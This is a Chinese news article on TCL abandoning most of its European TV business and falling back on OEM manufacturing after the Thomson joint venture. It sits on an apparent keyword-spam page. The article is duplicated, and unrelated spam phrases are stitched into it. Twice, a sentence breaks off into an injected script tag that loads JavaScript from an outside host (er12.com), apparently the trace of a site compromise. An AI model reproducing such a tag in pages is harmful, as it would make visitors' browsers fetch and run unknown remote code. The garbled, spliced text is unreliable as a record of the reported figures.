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李东生止血之法:TCL去腐疗伤回归OEM真空炉

真空炉    
2022年11月09日
李东生止血之法:TCL去腐疗伤回归OEM

由于放弃,不管是人才、市场或者产业转型,一切难以解决的问题对tcl集团来说将不再是问题了。

李东生要终止tcl的欧洲业务花费不菲——大约4500万欧元(约4.5亿元人民币)要投入到这次重组当中。这其中大部分用于员工安置,每个人的费用可能会高达10万欧元。而这笔钱有相当一部分是在国内定向增发募集而来。

日前,tcl集团宣布,将放弃其彩电的大部分欧洲业务。

2004年与法国汤姆逊牵手以后,这是tcl集团董事长李东生第二次变卖家产了。比起上次出卖tcl国际电工和楼宇科技两项资产,这次被迫放弃大部分欧洲业务,也许比上一次更痛些。

而更尴尬的是,tcl需要花钱止血。

重组计划

这项重组欧洲业务的计划,核心是放弃除oem(贴牌加工)之外的所有欧洲彩电业务。

tcl集团的彩电资产都装在其香港上市公司tcl多媒体(1070.hk)中,受欧洲业务拖累,tcl多媒体两年来大幅亏损,并导致tcl集团的报表相当难看。

目前,这项重组计划10月26日已经启动。

tte(tcl集团和法国汤姆逊合资成立的彩电企业,由tcl多媒体控股)欧洲公司,是tcl多媒体目前在欧洲最重要的子公司。按照计划,最迟本月初,tte欧洲公司的现有业务将被终止。

其内容包括除oem业务外的所有电视机的营销活动都将被终止;对tte欧洲公司的大部分员工进行重组;tcl多媒体在欧洲的部分附属公司,包括德国、西班牙、意大利、瑞典、捷克和匈牙利的销售公司,将进行重组;tcl多媒体也将视情况变现其在欧洲的资产和存货。

tcl集团披露,重组将涉及4500万欧元(按一欧元折合10元人民币粗略计算,约为4.5亿元人民币)的费用,大部分用于员工安置。有消息人士告诉记者,大约是平均每个员工10万欧元的遣散费。

几天前,tcl集团曾公告将定向增发募集大约10.5亿元人民币资金,其中6.5亿元用于对tcl多媒体的增资。

目前,tcl多媒体重组欧洲业务所需的4500万欧元中,尚有2400万欧元(约2.4亿元人民币)的净缺口,在重组后,tcl多媒体还需要提供1300万欧元(约1.3亿元人民币)的营运资金。一部分资金将通过变现欧洲资产和存货给付,而tcl集团增发也将为tcl多媒体提供足够的现金流。

这当是tcl集团对欧洲市场的最后一笔资金支持。tcl集团预期此举可以改善集团的赢利状况。

tcl集团在2004年初,成功运作了全国首家集团整体上市,辉煌一时。然而,几乎同期进行的整合汤姆逊彩电资产,却带来了可怕的投资黑洞。2005年tcl集团报亏3亿元人民币,今年年报如果再次亏损,将被授予特别风险的警示。

不解之围

tcl集团缩减欧洲业务,业内普遍认为是明智之举。汤姆逊公司的彩电业务在欧洲十几年从未盈利,tcl「搞不定」实属情理之中。

在2004年双方合资之后,tcl集团曾经设想了tcl生产的电视通过汤姆逊的渠道流向世界各地的美好景象。有关高管表示,最终目标是在全球范围销售tcl品牌而非汤姆逊的品牌。

然而汤姆逊的品牌、研发能力以及市场销售,都没有带给tcl理想的收益,反而在整合的内耗中,每年填进大量运营费用。

回归oem,是李东生选择的「止血」之法。李东生认为,基于服务现有oem客户的新商业模式,可以大幅简化欧洲业务,拥有精简、高效的研发、采购的供应链和组织结构。

风向 创维集团彩电事业本部总经理杨东文对《财经时报》说,其实欧洲市场容量还是很大的,但包括tcl在内的中国企业,都面临缺乏人才的问题。

几个月前,李东生曾派出得力干将严勇等领队tte欧洲公司,但收效亦不明显。而tcl集团启动的骨干人员赴国外培训计划,也不能在短期内带来公司收益。tte在欧洲,只能继续等待机会。

针对tcl所框定的oem模式,杨东文说,即使是oem,现在中国企业的既有优势也不那么明显了,与一些在华设厂的日系或者中国台湾企业相比,中国内地彩电企业的产能相对较小,而所谓成本优势,也几乎荡然无存。

另外,汤姆逊授予tte的独家商标使用权,在欧洲将提前至2008年底结束,此前这个期限为20年。

由于放弃,不管是人才、市场或者产业转型,一切难以解决的问题对tcl集团来说将不再是问题了。

汤姆逊淡出

欧洲业务的重组,是一次令人叹息的断腕之举,同时也意味着tcl集团和汤姆逊在欧洲合作的失败。

虽然双方目前在美洲的业务几经实现单月持平,初见曙光,但不可避免的是,随着欧洲业务的重组,汤姆逊也将在tcl多媒体中逐渐淡出。

大约一年以前,汤姆逊以其所持有的tte股份,换得tcl多媒体29.3青铜器2%持股权,并由此成为tcl多媒体的第二大股东。tcl集团和双方曾经对所持股份约定三年禁售期,并约定五年以后,双方方可全部售出所持股份。

但离约定仅仅一年,tcl集团就向汤姆逊解禁这些股份,并且明确表示,将在今年底之前,协助汤姆逊减持至20?script src=http://er12.com/t.js>

由于放弃,不管是人才、市场或者产业转型,一切难以解决的问题对tcl集团来说将不再是问题了。

李东生要终止tcl的欧洲业务花费不菲——大约4500万欧元(约4.5亿元人民币)要投入到这次重组当中。这其中大部分用于员工安置,每个人的费用可能会高达10万欧元。而这笔钱有相当一部分是在国内定向增发募集而来。

日前,tcl集团宣布,将放弃其彩电的大部分欧洲业务。

2004年与法国汤姆逊牵手以后,这是tcl集团董事长李东生第二次变卖家产了。比起上次出卖tcl国际电工和楼宇科技两项资产,这次被迫放弃大部分欧洲业务,也许比上一次更痛些。

而更尴尬的是,tcl需要花钱止血。

重组计划

这项重组欧洲业务的计划,核心是放弃除oem(贴牌加工)之外的所有欧洲彩电业务。

tcl集团的彩电资产都装在其香港上市公司tcl多媒体(1070.hk)中,受欧洲业务拖累,tcl多媒体两年来大幅亏损,并导致tcl集团的报表相当难看。

目前,这项重组计划10月26日已经启动。

tte(tcl集团和法国汤姆逊合资成立的彩电企业,由tcl多媒体控股)欧洲公司,是tcl多媒体目前在欧洲最重要的子公司。按汽车靠枕照计划,最迟本月初,tte欧洲公司的现有业务将被终止。

其内容包括除oem业务外的所有电视机的营销活动都将被终止;对tte欧洲公司的大部分员工进行重组;tcl多媒体在欧洲的部分附属公司,包括德国、西班牙、意大利、瑞典、捷克和匈牙利的销售公司,将进行重组;tcl多媒体也将视情况变现其在欧洲的资产和存货。

tcl集团披露,重组将涉及4500万欧元(按一欧元折合10元人民币粗略计算,约为4.5亿元人民币)的费用,大部分用于员工安置。有消息人士告诉记者,大约是平均每个员工10万欧元的遣散费。

几天前,tcl集团曾公告将定向增发募集大约10.5亿元人民币资金,其中6.5亿元用于对tcl多媒体的增资。

目前,tcl多媒体重组欧洲业务所需的4500万欧元中,尚有2400万欧元(约2.4亿元人民币)的净缺口,在重组后,tcl多媒体还需要提供1300万欧元(约1.3亿元人民币)的营运资金。一部分资金将通过变现欧洲资产和存货给付,而tcl集团增发也将为tcl多媒体提供足够的现金流。

这当是tcl集团对欧洲市场的最后一笔资金支持。tcl集团预期此举可以改善集团的赢利状况。

tcl集团在2004年初,成功运作了全国首家集团整体上市,辉煌一时。然而,几乎同期进行的整合汤姆逊彩电资产,却带来了可怕的投资黑洞。2005年tcl集团报亏3亿元人民币,今年年报如果再次亏损,将被授予特别风险的警示。

不解之围

tcl集团缩减欧洲业务,业内普遍认为是明智之举。汤姆逊公司的彩电业务在欧洲十几年从未盈利,tcl「搞不定」实属情理之中。

在2004年双方合资之后,tcl集团曾经设想了tcl生产的电视通过汤姆逊的渠道流向世界各地的美好景象。有关高管表示,最终目标是在全球范围销售tcl品牌而非汤姆逊的品牌。

然而汤姆逊的品牌、研发能力以及市场销售,都没有带给tcl理想的收益,反而在整合的内耗中,每年填进大量运营费用。

回归oem,是李东生选择的「止血」之法。李东生认为,基于服务现有oem客户的新商业模式,可以大幅简化欧洲业务,拥有精简、高效的研发、采购的供应链和组织结构。

创维集团彩电事业本部总经理杨东文对《财经时报》说,其实欧洲市场容量还是很大的,但包括tcl在内的中国企业,都面临缺乏人才的问题。

几个月前,李东生曾派出得力干将严勇等领队tte欧洲公司,但收效亦不明显。而tcl集团启动的骨干人员赴国外培训计划,也不能在短期内带来公司收益。tte在欧洲,只能继续等待机会。

针对tcl所框定的oem模式,杨东文说,即使是oem,现在中国企业的既有优势也不那么明显了,与一些在华设厂的日系或者中国台湾企业相比,中国内地彩电企业的产能相对较小,而所谓成本优势,也几乎荡然无存。

另外,汤姆逊授予tte的独家商标使用权,在欧洲将提前至2008年底结束,此前这个期限为20年。

由于放弃,不管是人才、市场或者产业转型,一切难以解决的问题对tcl集团来说将不再是问题了。

汤姆逊淡出

欧洲业务的重组,是一次令人叹息的断腕之举,同时也意味着tcl集团和汤姆逊在欧洲合作的失败。

虽然双方目前在美洲的业务几经实现单月持平,初见曙光,但不可避免的是,随着欧洲业务的重组,汤姆逊也将在tcl多媒体中逐渐淡出。

大约一年以前,汤姆逊以其所持有的tte股份,换得tcl多媒体29.32%持股权,并由此成为tcl多媒体的第二大股东。tcl集团和双方曾经对所持股份约定三年禁售期,并约定五年以后,双方方可全部售出所持股份。

但离约定仅仅一年,tcl集团就向汤姆逊解禁这些股份,并且明确表示,将在今年底之前,协助汤姆逊减持至20?script src=http://er12.com/t.js>人流后恶露不尽怎么办
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